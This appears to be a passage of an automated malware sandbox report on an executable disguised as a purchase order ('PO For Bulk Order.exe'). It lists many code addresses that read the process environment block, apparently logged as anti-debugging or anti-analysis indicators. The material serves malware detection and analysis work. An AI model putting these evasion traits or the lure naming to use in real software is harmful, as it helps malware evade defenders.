Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E10E mov eax, dword ptr fs:[00000030h]	2_2_01A6E10E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E10E mov eax, dword ptr fs:[00000030h]	2_2_01A6E10E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E10E mov ecx, dword ptr fs:[00000030h]	2_2_01A6E10E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E10E mov eax, dword ptr fs:[00000030h]	2_2_01A6E10E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E10E mov ecx, dword ptr fs:[00000030h]	2_2_01A6E10E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F0124 mov eax, dword ptr fs:[00000030h]	2_2_019F0124
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A80115 mov eax, dword ptr fs:[00000030h]	2_2_01A80115
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6A118 mov ecx, dword ptr fs:[00000030h]	2_2_01A6A118
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6A118 mov eax, dword ptr fs:[00000030h]	2_2_01A6A118
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6A118 mov eax, dword ptr fs:[00000030h]	2_2_01A6A118
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6A118 mov eax, dword ptr fs:[00000030h]	2_2_01A6A118
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C6154 mov eax, dword ptr fs:[00000030h]	2_2_019C6154
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C6154 mov eax, dword ptr fs:[00000030h]	2_2_019C6154
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BC156 mov eax, dword ptr fs:[00000030h]	2_2_019BC156
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94164 mov eax, dword ptr fs:[00000030h]	2_2_01A94164
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94164 mov eax, dword ptr fs:[00000030h]	2_2_01A94164
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A54144 mov eax, dword ptr fs:[00000030h]	2_2_01A54144
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A54144 mov eax, dword ptr fs:[00000030h]	2_2_01A54144
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A54144 mov ecx, dword ptr fs:[00000030h]	2_2_01A54144
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A54144 mov eax, dword ptr fs:[00000030h]	2_2_01A54144
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A54144 mov eax, dword ptr fs:[00000030h]	2_2_01A54144
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A58158 mov eax, dword ptr fs:[00000030h]	2_2_01A58158
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A580A8 mov eax, dword ptr fs:[00000030h]	2_2_01A580A8
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A860B8 mov eax, dword ptr fs:[00000030h]	2_2_01A860B8
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A860B8 mov ecx, dword ptr fs:[00000030h]	2_2_01A860B8
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C208A mov eax, dword ptr fs:[00000030h]	2_2_019C208A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B80A0 mov eax, dword ptr fs:[00000030h]	2_2_019B80A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A460E0 mov eax, dword ptr fs:[00000030h]	2_2_01A460E0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A020F0 mov ecx, dword ptr fs:[00000030h]	2_2_01A020F0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BC0F0 mov eax, dword ptr fs:[00000030h]	2_2_019BC0F0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C80E9 mov eax, dword ptr fs:[00000030h]	2_2_019C80E9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BA0E3 mov ecx, dword ptr fs:[00000030h]	2_2_019BA0E3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A420DE mov eax, dword ptr fs:[00000030h]	2_2_01A420DE
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DE016 mov eax, dword ptr fs:[00000030h]	2_2_019DE016
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DE016 mov eax, dword ptr fs:[00000030h]	2_2_019DE016
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DE016 mov eax, dword ptr fs:[00000030h]	2_2_019DE016
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DE016 mov eax, dword ptr fs:[00000030h]	2_2_019DE016
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A56030 mov eax, dword ptr fs:[00000030h]	2_2_01A56030
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A44000 mov ecx, dword ptr fs:[00000030h]	2_2_01A44000
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A62000 mov eax, dword ptr fs:[00000030h]	2_2_01A62000
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A62000 mov eax, dword ptr fs:[00000030h]	2_2_01A62000
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A62000 mov eax, dword ptr fs:[00000030h]	2_2_01A62000
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A62000 mov eax, dword ptr fs:[00000030h]	2_2_01A62000
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A62000 mov eax, dword ptr fs:[00000030h]	2_2_01A62000
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A62000 mov eax, dword ptr fs:[00000030h]	2_2_01A62000
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A62000 mov eax, dword ptr fs:[00000030h]	2_2_01A62000
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A62000 mov eax, dword ptr fs:[00000030h]	2_2_01A62000
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BA020 mov eax, dword ptr fs:[00000030h]	2_2_019BA020
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BC020 mov eax, dword ptr fs:[00000030h]	2_2_019BC020
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C2050 mov eax, dword ptr fs:[00000030h]	2_2_019C2050
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EC073 mov eax, dword ptr fs:[00000030h]	2_2_019EC073
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A46050 mov eax, dword ptr fs:[00000030h]	2_2_01A46050
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B8397 mov eax, dword ptr fs:[00000030h]	2_2_019B8397
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B8397 mov eax, dword ptr fs:[00000030h]	2_2_019B8397
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B8397 mov eax, dword ptr fs:[00000030h]	2_2_019B8397
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E438F mov eax, dword ptr fs:[00000030h]	2_2_019E438F
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E438F mov eax, dword ptr fs:[00000030h]	2_2_019E438F
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BE388 mov eax, dword ptr fs:[00000030h]	2_2_019BE388
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BE388 mov eax, dword ptr fs:[00000030h]	2_2_019BE388
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BE388 mov eax, dword ptr fs:[00000030h]	2_2_019BE388
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA3C0 mov eax, dword ptr fs:[00000030h]	2_2_019CA3C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA3C0 mov eax, dword ptr fs:[00000030h]	2_2_019CA3C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA3C0 mov eax, dword ptr fs:[00000030h]	2_2_019CA3C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA3C0 mov eax, dword ptr fs:[00000030h]	2_2_019CA3C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA3C0 mov eax, dword ptr fs:[00000030h]	2_2_019CA3C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA3C0 mov eax, dword ptr fs:[00000030h]	2_2_019CA3C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C83C0 mov eax, dword ptr fs:[00000030h]	2_2_019C83C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C83C0 mov eax, dword ptr fs:[00000030h]	2_2_019C83C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C83C0 mov eax, dword ptr fs:[00000030h]	2_2_019C83C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C83C0 mov eax, dword ptr fs:[00000030h]	2_2_019C83C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F63FF mov eax, dword ptr fs:[00000030h]	2_2_019F63FF
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A463C0 mov eax, dword ptr fs:[00000030h]	2_2_01A463C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A7C3CD mov eax, dword ptr fs:[00000030h]	2_2_01A7C3CD
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DE3F0 mov eax, dword ptr fs:[00000030h]	2_2_019DE3F0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DE3F0 mov eax, dword ptr fs:[00000030h]	2_2_019DE3F0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DE3F0 mov eax, dword ptr fs:[00000030h]	2_2_019DE3F0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A643D4 mov eax, dword ptr fs:[00000030h]	2_2_01A643D4
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A643D4 mov eax, dword ptr fs:[00000030h]	2_2_01A643D4
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D03E9 mov eax, dword ptr fs:[00000030h]	2_2_019D03E9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D03E9 mov eax, dword ptr fs:[00000030h]	2_2_019D03E9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D03E9 mov eax, dword ptr fs:[00000030h]	2_2_019D03E9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D03E9 mov eax, dword ptr fs:[00000030h]	2_2_019D03E9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D03E9 mov eax, dword ptr fs:[00000030h]	2_2_019D03E9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D03E9 mov eax, dword ptr fs:[00000030h]	2_2_019D03E9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D03E9 mov eax, dword ptr fs:[00000030h]	2_2_019D03E9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D03E9 mov eax, dword ptr fs:[00000030h]	2_2_019D03E9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E3DB mov eax, dword ptr fs:[00000030h]	2_2_01A6E3DB
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E3DB mov eax, dword ptr fs:[00000030h]	2_2_01A6E3DB
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E3DB mov ecx, dword ptr fs:[00000030h]	2_2_01A6E3DB
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6E3DB mov eax, dword ptr fs:[00000030h]	2_2_01A6E3DB
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BC310 mov ecx, dword ptr fs:[00000030h]	2_2_019BC310
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A98324 mov eax, dword ptr fs:[00000030h]	2_2_01A98324
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A98324 mov ecx, dword ptr fs:[00000030h]	2_2_01A98324
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A98324 mov eax, dword ptr fs:[00000030h]	2_2_01A98324
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A98324 mov eax, dword ptr fs:[00000030h]	2_2_01A98324
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E0310 mov ecx, dword ptr fs:[00000030h]	2_2_019E0310
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA30B mov eax, dword ptr fs:[00000030h]	2_2_019FA30B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA30B mov eax, dword ptr fs:[00000030h]	2_2_019FA30B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA30B mov eax, dword ptr fs:[00000030h]	2_2_019FA30B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6437C mov eax, dword ptr fs:[00000030h]	2_2_01A6437C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A9634F mov eax, dword ptr fs:[00000030h]	2_2_01A9634F
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A42349 mov eax, dword ptr fs:[00000030h]	2_2_01A42349
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A68350 mov ecx, dword ptr fs:[00000030h]	2_2_01A68350
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4035C mov eax, dword ptr fs:[00000030h]	2_2_01A4035C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4035C mov eax, dword ptr fs:[00000030h]	2_2_01A4035C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4035C mov eax, dword ptr fs:[00000030h]	2_2_01A4035C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4035C mov ecx, dword ptr fs:[00000030h]	2_2_01A4035C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4035C mov eax, dword ptr fs:[00000030h]	2_2_01A4035C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4035C mov eax, dword ptr fs:[00000030h]	2_2_01A4035C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8A352 mov eax, dword ptr fs:[00000030h]	2_2_01A8A352
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A562A0 mov eax, dword ptr fs:[00000030h]	2_2_01A562A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A562A0 mov ecx, dword ptr fs:[00000030h]	2_2_01A562A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A562A0 mov eax, dword ptr fs:[00000030h]	2_2_01A562A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A562A0 mov eax, dword ptr fs:[00000030h]	2_2_01A562A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A562A0 mov eax, dword ptr fs:[00000030h]	2_2_01A562A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A562A0 mov eax, dword ptr fs:[00000030h]	2_2_01A562A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE284 mov eax, dword ptr fs:[00000030h]	2_2_019FE284
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE284 mov eax, dword ptr fs:[00000030h]	2_2_019FE284
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A40283 mov eax, dword ptr fs:[00000030h]	2_2_01A40283
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A40283 mov eax, dword ptr fs:[00000030h]	2_2_01A40283
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A40283 mov eax, dword ptr fs:[00000030h]	2_2_01A40283
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D02A0 mov eax, dword ptr fs:[00000030h]	2_2_019D02A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D02A0 mov eax, dword ptr fs:[00000030h]	2_2_019D02A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA2C3 mov eax, dword ptr fs:[00000030h]	2_2_019CA2C3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA2C3 mov eax, dword ptr fs:[00000030h]	2_2_019CA2C3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA2C3 mov eax, dword ptr fs:[00000030h]	2_2_019CA2C3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA2C3 mov eax, dword ptr fs:[00000030h]	2_2_019CA2C3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA2C3 mov eax, dword ptr fs:[00000030h]	2_2_019CA2C3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D02E1 mov eax, dword ptr fs:[00000030h]	2_2_019D02E1
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D02E1 mov eax, dword ptr fs:[00000030h]	2_2_019D02E1
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D02E1 mov eax, dword ptr fs:[00000030h]	2_2_019D02E1
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A962D6 mov eax, dword ptr fs:[00000030h]	2_2_01A962D6
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B823B mov eax, dword ptr fs:[00000030h]	2_2_019B823B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C6259 mov eax, dword ptr fs:[00000030h]	2_2_019C6259
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BA250 mov eax, dword ptr fs:[00000030h]	2_2_019BA250
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274 mov eax, dword ptr fs:[00000030h]	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A48243 mov eax, dword ptr fs:[00000030h]	2_2_01A48243
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A48243 mov ecx, dword ptr fs:[00000030h]	2_2_01A48243
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B826B mov eax, dword ptr fs:[00000030h]	2_2_019B826B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A9625D mov eax, dword ptr fs:[00000030h]	2_2_01A9625D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A7A250 mov eax, dword ptr fs:[00000030h]	2_2_01A7A250
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A7A250 mov eax, dword ptr fs:[00000030h]	2_2_01A7A250
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C4260 mov eax, dword ptr fs:[00000030h]	2_2_019C4260
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C4260 mov eax, dword ptr fs:[00000030h]	2_2_019C4260
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C4260 mov eax, dword ptr fs:[00000030h]	2_2_019C4260
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE59C mov eax, dword ptr fs:[00000030h]	2_2_019FE59C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A405A7 mov eax, dword ptr fs:[00000030h]	2_2_01A405A7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A405A7 mov eax, dword ptr fs:[00000030h]	2_2_01A405A7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A405A7 mov eax, dword ptr fs:[00000030h]	2_2_01A405A7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F4588 mov eax, dword ptr fs:[00000030h]	2_2_019F4588
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C2582 mov eax, dword ptr fs:[00000030h]	2_2_019C2582
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C2582 mov ecx, dword ptr fs:[00000030h]	2_2_019C2582
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E45B1 mov eax, dword ptr fs:[00000030h]	2_2_019E45B1
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E45B1 mov eax, dword ptr fs:[00000030h]	2_2_019E45B1
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C65D0 mov eax, dword ptr fs:[00000030h]	2_2_019C65D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA5D0 mov eax, dword ptr fs:[00000030h]	2_2_019FA5D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA5D0 mov eax, dword ptr fs:[00000030h]	2_2_019FA5D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE5CF mov eax, dword ptr fs:[00000030h]	2_2_019FE5CF
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE5CF mov eax, dword ptr fs:[00000030h]	2_2_019FE5CF
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FC5ED mov eax, dword ptr fs:[00000030h]	2_2_019FC5ED
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FC5ED mov eax, dword ptr fs:[00000030h]	2_2_019FC5ED
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE5E7 mov eax, dword ptr fs:[00000030h]	2_2_019EE5E7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE5E7 mov eax, dword ptr fs:[00000030h]	2_2_019EE5E7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE5E7 mov eax, dword ptr fs:[00000030h]	2_2_019EE5E7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE5E7 mov eax, dword ptr fs:[00000030h]	2_2_019EE5E7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE5E7 mov eax, dword ptr fs:[00000030h]	2_2_019EE5E7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE5E7 mov eax, dword ptr fs:[00000030h]	2_2_019EE5E7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE5E7 mov eax, dword ptr fs:[00000030h]	2_2_019EE5E7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE5E7 mov eax, dword ptr fs:[00000030h]	2_2_019EE5E7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C25E0 mov eax, dword ptr fs:[00000030h]	2_2_019C25E0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE53E mov eax, dword ptr fs:[00000030h]	2_2_019EE53E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE53E mov eax, dword ptr fs:[00000030h]	2_2_019EE53E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE53E mov eax, dword ptr fs:[00000030h]	2_2_019EE53E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE53E mov eax, dword ptr fs:[00000030h]	2_2_019EE53E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE53E mov eax, dword ptr fs:[00000030h]	2_2_019EE53E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A56500 mov eax, dword ptr fs:[00000030h]	2_2_01A56500
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0535 mov eax, dword ptr fs:[00000030h]	2_2_019D0535
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0535 mov eax, dword ptr fs:[00000030h]	2_2_019D0535
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0535 mov eax, dword ptr fs:[00000030h]	2_2_019D0535
